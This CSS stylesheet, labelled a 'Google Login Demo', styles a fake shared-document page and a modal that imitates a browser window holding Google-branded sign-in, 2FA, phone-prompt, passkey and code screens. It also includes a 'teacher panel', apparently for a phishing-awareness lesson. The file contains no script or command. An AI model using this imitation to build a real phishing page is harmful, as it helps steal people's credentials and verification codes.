/* ===== Google Login Demo – Document page + Modal Sign-in ===== */

:root {
  --google-blue: #1a73e8;
  --google-blue-hover: #1765cc;
  --google-blue-focus: #174ea6;
  --text-primary: #202124;
  --text-secondary: #5f6368;
  --border: #dadce0;
  --border-focus: #1a73e8;
  --error: #d93025;
  --bg: #f0f4f9;
  --card-bg: #ffffff;
  --radius: 28px;
  --font: "Google Sans", "Roboto", Arial, sans-serif;
}

* {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}

html, body {
  overflow-x: hidden;
}

body {
  font-family: var(--font);
  background: #f8f9fa;
  color: var(--text-primary);
  min-height: 100vh;
  position: relative;
  -webkit-text-size-adjust: 100%;
}

/* ========== DOCUMENT LANDING PAGE ========== */
.document-page {
  min-height: 100vh;
  display: flex;
  flex-direction: column;
}

.doc-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 12px 24px;
  background: white;
  border-bottom: 1px solid var(--border);
}

.doc-logo {
  display: flex;
  align-items: center;
  gap: 8px;
  font-size: 22px;
  font-weight: 500;
  color: #5f6368;
}

.doc-header-right .btn-outline {
  background: transparent;
  border: 1px solid var(--border);
  color: var(--google-blue);
  border-radius: 4px;
  padding: 8px 16px;
  font-size: 14px;
  font-weight: 500;
  cursor: pointer;
  font-family: inherit;
}

.doc-header-right .btn-outline:hover {
  background: #f8f9fa;
  border-color: #d2e3fc;
}

.doc-main {
  flex: 1;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 40px 20px;
}

.doc-preview-card {
  background: white;
  border-radius: 12px;
  box-shadow: 0 1px 3px rgba(60,64,67,.15), 0 4px 8px 3px rgba(60,64,67,.08);
  padding: 48px 40px;
  max-width: 480px;
  width: 100%;
  text-align: center;
}

.doc-icon-large {
  margin-bottom: 24px;
}

.doc-title {
  font-size: 22px;
  font-weight: 500;
  margin-bottom: 8px;
  color: var(--text-primary);
  word-break: break-word;
}

.doc-meta {
  font-size: 13px;
  color: var(--text-secondary);
  margin-bottom: 20px;
}

.doc-description {
  font-size: 15px;
  color: var(--text-primary);
  line-height: 1.5;
  margin-bottom: 28px;
}

.doc-actions {
  display: flex;
  flex-direction: column;
  gap: 12px;
  margin-bottom: 20px;
}

.btn-large {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 100%;
  padding: 12px 24px;
  font-size: 15px;
  border-radius: 24px;
}

.btn-secondary {
  background: white;
  color: var(--google-blue);
  border: 1px solid var(--border);
  font-weight: 500;
  font-family: inherit;
  cursor: pointer;
  transition: background 0.15s;
}

.btn-secondary:hover {
  background: #f8f9fa;
}

.doc-hint {
  font-size: 12px;
  color: var(--text-secondary);
  line-height: 1.4;
}

.doc-footer {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 16px 24px;
  font-size: 12px;
  color: var(--text-secondary);
  border-top: 1px solid var(--border);
  background: white;
  gap: 12px;
  flex-wrap: wrap;
}

.doc-footer a {
  color: var(--text-secondary);
  text-decoration: none;
  margin-left: 16px;
}

.doc-footer a:hover {
  text-decoration: underline;
}

/* ========== MODAL ========== */
.modal-overlay {
  position: fixed;
  inset: 0;
  background: rgba(32, 33, 36, 0.6);
  display: flex;
  align-items: center;
  justify-content: center;
  z-index: 1000;
  opacity: 0;
  visibility: hidden;
  transition: opacity 0.2s, visibility 0.2s;
  padding: 20px;
}

.modal-overlay.open {
  opacity: 1;
  visibility: visible;
}

.modal-window {
  background: white;
  border-radius: 12px;
  box-shadow: 0 8px 28px rgba(0,0,0,0.28);
  width: 100%;
  max-width: 920px;
  max-height: 90vh;
  display: flex;
  flex-direction: column;
  overflow: hidden;
  transform: scale(0.96);
  transition: transform 0.2s;
}

.modal-overlay.open .modal-window {
  transform: scale(1);
}

/* Fake browser chrome */
.modal-chrome {
  display: flex;
  align-items: center;
  gap: 12px;
  padding: 10px 14px;
  background: #f1f3f4;
  border-bottom: 1px solid #dadce0;
  flex-shrink: 0;
}

.chrome-dots {
  display: flex;
  gap: 6px;
}

.dot {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}

.dot.red { background: #ff5f57; }
.dot.yellow { background: #febc2e; }
.dot.green { background: #28c840; }

.chrome-url {
  flex: 1;
  display: flex;
  align-items: center;
  gap: 8px;
  background: white;
  border: 1px solid #dadce0;
  border-radius: 20px;
  padding: 6px 14px;
  font-size: 13px;
  color: #5f6368;
  overflow: hidden;
  min-width: 0;
}

.url-text {
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
  font-family: Roboto, Arial, sans-serif;
  min-width: 0;
}

.chrome-close {
  background: none;
  border: none;
  font-size: 22px;
  color: #5f6368;
  cursor: pointer;
  width: 32px;
  height: 32px;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  line-height: 1;
  flex-shrink: 0;
}

.chrome-close:hover {
  background: #e8eaed;
}

.modal-body {
  overflow-y: auto;
  flex: 1;
  background: var(--bg);
  padding: 24px 16px;
  display: flex;
  justify-content: center;
}

/* ========== Screens (inside modal) ========== */
.screen {
  display: none;
  width: 100%;
  max-width: 860px;
  animation: fadeIn 0.25s ease;
}

.screen.active {
  display: block;
}

@keyframes fadeIn {
  from { opacity: 0; transform: translateY(6px); }
  to   { opacity: 1; transform: translateY(0); }
}

/* ========== Card ========== */
.card {
  background: var(--card-bg);
  border-radius: var(--radius);
  box-shadow: 0 1px 3px rgba(60,64,67,.15), 0 4px 8px 3px rgba(60,64,67,.1);
  display: grid;
  grid-template-columns: 1fr 1fr;
  min-height: 400px;
  overflow: hidden;
}

.card-left {
  padding: 40px 36px 32px;
  display: flex;
  flex-direction: column;
}

.card-right {
  padding: 40px 36px 32px;
  display: flex;
  flex-direction: column;
  justify-content: center;
  min-width: 0;
}

.logo {
  margin-bottom: 14px;
}

h1 {
  font-size: 26px;
  font-weight: 400;
  line-height: 1.3;
  margin-bottom: 10px;
  letter-spacing: -0.2px;
  word-break: break-word;
}

.subtitle {
  font-size: 15px;
  color: var(--text-primary);
  line-height: 1.5;
  max-width: 300px;
  word-break: break-word;
}

/* ========== Account chip ========== */
.account-chip {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  margin-top: 18px;
  padding: 4px 12px 4px 4px;
  border: 1px solid var(--border);
  border-radius: 20px;
  font-size: 14px;
  cursor: pointer;
  max-width: 100%;
  transition: background 0.15s;
  min-width: 0;
}

.account-chip:hover {
  background: #f8f9fa;
}

.account-chip.small {
  margin-top: 14px;
}

.account-chip.large {
  margin: 20px auto;
  padding: 6px 16px 6px 6px;
}

.avatar {
  width: 28px;
  height: 28px;
  border-radius: 50%;
  background: #1a73e8;
  color: white;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 14px;
  font-weight: 500;
  flex-shrink: 0;
}

.email-text {
  color: var(--text-primary);
  font-size: 14px;
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
  min-width: 0;
}

.chevron {
  margin-left: 2px;
  flex-shrink: 0;
}

/* ========== Inputs ========== */
.input-group {
  position: relative;
  margin-bottom: 8px;
}

.input-group input {
  width: 100%;
  height: 54px;
  padding: 13px 15px;
  font-size: 16px;
  border: 1px solid var(--border);
  border-radius: 4px;
  outline: none;
  background: transparent;
  transition: border-color 0.15s, box-shadow 0.15s;
  font-family: inherit;
}

.input-group input:focus {
  border-color: var(--border-focus);
  box-shadow: inset 0 0 0 1px var(--border-focus);
}

.input-group label {
  position: absolute;
  left: 12px;
  top: 50%;
  transform: translateY(-50%);
  background: white;
  padding: 0 4px;
  color: var(--text-secondary);
  font-size: 16px;
  pointer-events: none;
  transition: all 0.15s ease;
}

.input-group input:focus + label,
.input-group input:not(:placeholder-shown) + label {
  top: 0;
  font-size: 12px;
  color: var(--google-blue);
}

.input-group.error input {
  border-color: var(--error);
  box-shadow: inset 0 0 0 1px var(--error);
}

.input-group.error input:focus + label,
.input-group.error input:not(:placeholder-shown) + label {
  color: var(--error);
}

.error-msg {
  color: var(--error);
  font-size: 12px;
  margin: 4px 0 12px;
  display: flex;
  align-items: center;
  gap: 6px;
}

.error-msg::before {
  content: "⚠";
  font-size: 14px;
}

.hint {
  font-size: 12px;
  color: var(--text-secondary);
  margin-bottom: 18px;
}

/* ========== Links & buttons ========== */
.link {
  color: var(--google-blue);
  text-decoration: none;
  font-size: 14px;
  font-weight: 500;
  display: inline-block;
}

.link:hover {
  text-decoration: underline;
}

.forgot {
  margin: 8px 0 28px;
}

.guest-note {
  font-size: 13px;
  color: var(--text-secondary);
  line-height: 1.5;
  margin-bottom: 32px;
}

.btn-primary {
  background: var(--google-blue);
  color: white;
  border: none;
  border-radius: 24px;
  padding: 10px 24px;
  font-size: 14px;
  font-weight: 500;
  font-family: inherit;
  cursor: pointer;
  min-width: 80px;
  transition: background 0.15s, box-shadow 0.15s;
}

.btn-primary:hover {
  background: var(--google-blue-hover);
  box-shadow: 0 1px 3px rgba(0,0,0,0.12);
}

.btn-primary:active {
  background: var(--google-blue-focus);
}

.actions {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-top: 20px;
  gap: 12px;
  flex-wrap: wrap;
}

.actions.single {
  justify-content: flex-start;
}

.checkbox-row {
  display: flex;
  align-items: center;
  gap: 12px;
  font-size: 14px;
  color: var(--text-primary);
  margin: 14px 0 8px;
  cursor: pointer;
}

.checkbox-row input {
  width: 18px;
  height: 18px;
  accent-color: var(--google-blue);
  cursor: pointer;
  flex-shrink: 0;
}

/* ========== 2FA options ========== */
.verify-options {
  display: flex;
  flex-direction: column;
  gap: 4px;
  max-height: 340px;
  overflow-y: auto;
}

.option-btn {
  display: flex;
  align-items: center;
  gap: 14px;
  padding: 11px 14px;
  border: 1px solid transparent;
  border-radius: 8px;
  background: transparent;
  cursor: pointer;
  text-align: left;
  font-family: inherit;
  transition: background 0.15s;
  width: 100%;
}

.option-btn:hover {
  background: #f8f9fa;
}

.option-icon {
  font-size: 20px;
  width: 28px;
  text-align: center;
  flex-shrink: 0;
}

.option-text {
  display: flex;
  flex-direction: column;
  gap: 1px;
  min-width: 0;
}

.option-text strong {
  font-size: 14px;
  font-weight: 500;
  color: var(--text-primary);
}

.option-text span {
  font-size: 12px;
  color: var(--text-secondary);
  word-break: break-word;
}

/* ========== Prompt (Google prompt) ========== */
.prompt-visual {
  display: flex;
  justify-content: center;
  margin-bottom: 16px;
}

.phone-mock {
  width: 180px;
  background: #202124;
  border-radius: 24px;
  padding: 12px 10px 16px;
  box-shadow: 0 4px 16px rgba(0,0,0,0.2);
}

.phone-notch {
  width: 60px;
  height: 6px;
  background: #3c4043;
  border-radius: 3px;
  margin: 0 auto 12px;
}

.phone-screen {
  background: white;
  border-radius: 12px;
  padding: 16px 12px;
  text-align: center;
}

.prompt-q {
  font-size: 13px;
  font-weight: 500;
  margin-bottom: 4px;
}

.prompt-device {
  font-size: 11px;
  color: var(--text-secondary);
  margin-bottom: 14px;
}

.prompt-btns {
  display: flex;
  gap: 8px;
  justify-content: center;
}

.prompt-no, .prompt-yes {
  flex: 1;
  padding: 8px;
  border-radius: 16px;
  font-size: 13px;
  font-weight: 500;
  cursor: pointer;
  font-family: inherit;
  border: none;
}

.prompt-no {
  background: #f1f3f4;
  color: var(--text-primary);
}

.prompt-yes {
  background: var(--google-blue);
  color: white;
}

/* ========== Passkey ========== */
.passkey-visual {
  text-align: center;
  padding: 20px 0;
}

.passkey-icon {
  font-size: 48px;
  margin-bottom: 12px;
}

.passkey-visual p {
  font-size: 14px;
  color: var(--text-secondary);
  margin-bottom: 20px;
  line-height: 1.4;
}

/* ========== Success ========== */
.success-card {
  display: flex;
  justify-content: center;
  align-items: center;
  min-height: 380px;
  grid-template-columns: 1fr;
}

.success-content {
  text-align: center;
  padding: 40px 36px;
  max-width: 400px;
  width: 100%;
}

.success-icon {
  width: 64px;
  height: 64px;
  border-radius: 50%;
  background: #e6f4ea;
  color: #137333;
  font-size: 32px;
  display: flex;
  align-items: center;
  justify-content: center;
  margin: 0 auto 20px;
}

.demo-note {
  margin-top: 20px;
  font-size: 12px;
  color: var(--text-secondary);
}

/* ========== Name row ========== */
.name-row {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 12px;
  margin-bottom: 14px;
}

/* ========== Teacher panel ========== */
.teacher-panel {
  position: fixed;
  bottom: 20px;
  right: 20px;
  z-index: 2000;
}

#toggle-panel {
  background: #202124;
  color: white;
  border: none;
  border-radius: 20px;
  padding: 10px 18px;
  font-size: 13px;
  cursor: pointer;
  font-family: inherit;
  box-shadow: 0 2px 8px rgba(0,0,0,0.2);
}

.panel-content {
  display: none;
  position: absolute;
  bottom: 50px;
  right: 0;
  width: 280px;
  background: white;
  border-radius: 12px;
  padding: 16px;
  box-shadow: 0 4px 20px rgba(0,0,0,0.15);
  font-size: 13px;
}

.panel-content.open {
  display: block;
}

.panel-content h3 {
  margin-bottom: 8px;
  font-size: 15px;
}

.panel-content p {
  margin-bottom: 10px;
  color: var(--text-secondary);
  line-height: 1.4;
}

.demo-btn {
  display: block;
  width: 100%;
  margin-bottom: 6px;
  padding: 8px 12px;
  border: 1px solid var(--border);
  border-radius: 6px;
  background: #f8f9fa;
  cursor: pointer;
  font-size: 12px;
  font-family: inherit;
  text-align: left;
}

.demo-btn:hover {
  background: #e8f0fe;
  border-color: var(--google-blue);
}

.panel-content code {
  background: #f1f3f4;
  padding: 2px 6px;
  border-radius: 4px;
  font-size: 12px;
}

.panel-content hr {
  border: none;
  border-top: 1px solid var(--border);
  margin: 12px 0;
}

/* =====================
   Waiting spinner
   ===================== */
.waiting-spinner {
  width: 56px;
  height: 56px;
  border: 4px solid #e8f0fe;
  border-top-color: #1a73e8;
  border-radius: 50%;
  animation: spin 0.8s linear infinite;
}

.mini-spinner {
  width: 22px;
  height: 22px;
  border: 3px solid #e8f0fe;
  border-top-color: #1a73e8;
  border-radius: 50%;
  animation: spin 0.8s linear infinite;
}

@keyframes spin {
  to { transform: rotate(360deg); }
}

/* =====================
   Code screen tweaks
   ===================== */
#code-subtitle code {
  background: #f1f3f4;
  padding: 2px 8px;
  border-radius: 4px;
  font-family: 'Roboto Mono', monospace;
  font-size: 14px;
  color: #202124;
  letter-spacing: 1px;
  word-break: break-all;
}

/* =====================
   Prompt number display
   ===================== */
#prompt-number-display {
  font-variant-numeric: tabular-nums;
  letter-spacing: 2px;
}

/* =====================
   Security key screen
   ===================== */
#screen-security .card-right {
  justify-content: center;
}

/* =====================
   Make sure hidden areas stay hidden
   ===================== */
#code-waiting-area,
#form-code {
  transition: opacity 0.2s;
}

/* ====================================================
   RESPONSIVE — Tablet
   ==================================================== */
@media (max-width: 900px) {
  .modal-window {
    max-width: 100%;
  }

  .card {
    min-height: auto;
  }

  h1 {
    font-size: 24px;
  }
}

/* ====================================================
   RESPONSIVE — Small tablet / large phone
   ==================================================== */
@media (max-width: 800px) {
  .card {
    grid-template-columns: 1fr;
  }

  .card-left {
    padding: 32px 28px 8px;
  }

  .card-right {
    padding: 24px 28px 32px;
  }

  .subtitle {
    max-width: 100%;
  }

  .verify-options {
    max-height: none;
  }

  .name-row {
    grid-template-columns: 1fr;
  }

  .modal-window {
    max-height: 95vh;
    border-radius: 16px;
  }

  .chrome-url {
    font-size: 11px;
  }
}

/* ====================================================
   RESPONSIVE — Phone
   ==================================================== */
@media (max-width: 600px) {
  /* Landing page */
  .doc-header {
    padding: 10px 16px;
  }

  .doc-logo {
    font-size: 18px;
  }

  .doc-header-right .btn-outline {
    padding: 6px 12px;
    font-size: 13px;
  }

  .doc-main {
    padding: 24px 16px;
  }

  .doc-preview-card {
    padding: 32px 24px;
    border-radius: 10px;
  }

  .doc-title {
    font-size: 18px;
  }

  .doc-description {
    font-size: 14px;
  }

  .btn-large {
    padding: 11px 18px;
    font-size: 14px;
  }

  .doc-footer {
    flex-direction: column;
    gap: 8px;
    text-align: center;
    padding: 14px 16px;
  }

  .doc-footer a {
    margin: 0 8px;
  }

  /* Modal */
  .modal-overlay {
    padding: 0;
    align-items: flex-end;
  }

  .modal-window {
    max-height: 100vh;
    height: 100vh;
    border-radius: 0;
    transform: translateY(100%);
  }

  .modal-overlay.open .modal-window {
    transform: translateY(0);
  }

  .modal-chrome {
    padding: 10px 12px;
    gap: 8px;
  }

  .chrome-dots {
    display: none;
  }

  .modal-body {
    padding: 16px 12px;
  }

  /* Card */
  .card {
    border-radius: 16px;
    box-shadow: 0 1px 3px rgba(60,64,67,.1);
  }

  .card-left {
    padding: 28px 20px 4px;
  }

  .card-right {
    padding: 16px 20px 28px;
  }

  h1 {
    font-size: 22px;
  }

  .subtitle {
    font-size: 14px;
  }

  /* Inputs */
  .input-group input {
    height: 52px;
    font-size: 15px;
  }

  .input-group label {
    font-size: 15px;
  }

  /* Buttons */
  .btn-primary {
    padding: 10px 20px;
  }

  .actions {
    flex-direction: column-reverse;
    align-items: stretch;
    gap: 10px;
  }

  .actions .btn-primary {
    width: 100%;
  }

  .actions .link {
    text-align: center;
    padding: 8px 0;
  }

  /* Account chip */
  .account-chip {
    max-width: 100%;
  }

  .email-text {
    font-size: 13px;
  }

  /* Prompt */
  .prompt-visual {
    margin-bottom: 12px;
  }

  .phone-mock {
    width: 160px;
  }

  #prompt-number-display {
    font-size: 72px !important;
  }

  /* 2FA options */
  .option-btn {
    padding: 12px 10px;
    gap: 12px;
  }

  .option-icon {
    font-size: 22px;
  }

  .option-text strong {
    font-size: 14px;
  }

  .option-text span {
    font-size: 12px;
  }

  /* Success */
  .success-content {
    padding: 32px 24px;
  }

  .success-icon {
    width: 56px;
    height: 56px;
    font-size: 28px;
  }

  /* Teacher panel */
  .teacher-panel {
    bottom: 12px;
    right: 12px;
  }

  .panel-content {
    width: calc(100vw - 24px);
    max-width: 320px;
  }
}

/* ====================================================
   RESPONSIVE — Very small phones (iPhone SE, etc.)
   ==================================================== */
@media (max-width: 380px) {
  .doc-preview-card {
    padding: 24px 18px;
  }

  .doc-title {
    font-size: 16px;
  }

  h1 {
    font-size: 20px;
  }

  .card-left {
    padding: 24px 16px 4px;
  }

  .card-right {
    padding: 12px 16px 24px;
  }

  .modal-body {
    padding: 12px 8px;
  }

  #prompt-number-display {
    font-size: 56px !important;
  }

  .option-btn {
    padding: 10px 8px;
    gap: 10px;
  }

  .option-icon {
    font-size: 18px;
    width: 22px;
  }
}

/* ====================================================
   Landscape phone — reduce vertical padding
   ==================================================== */
@media (max-height: 500px) and (orientation: landscape) {
  .modal-body {
    padding: 12px 16px;
  }

  .card-left,
  .card-right {
    padding-top: 16px;
    padding-bottom: 16px;
  }

  .doc-preview-card {
    padding: 24px 20px;
  }

  .doc-icon-large {
    margin-bottom: 12px;
  }

  .waiting-spinner {
    width: 40px;
    height: 40px;
  }
}

/* ====================================================
   Large screens — cap width and center nicely
   ==================================================== */
@media (min-width: 1400px) {
  .modal-window {
    max-width: 1000px;
  }

  .doc-preview-card {
    max-width: 520px;
  }
}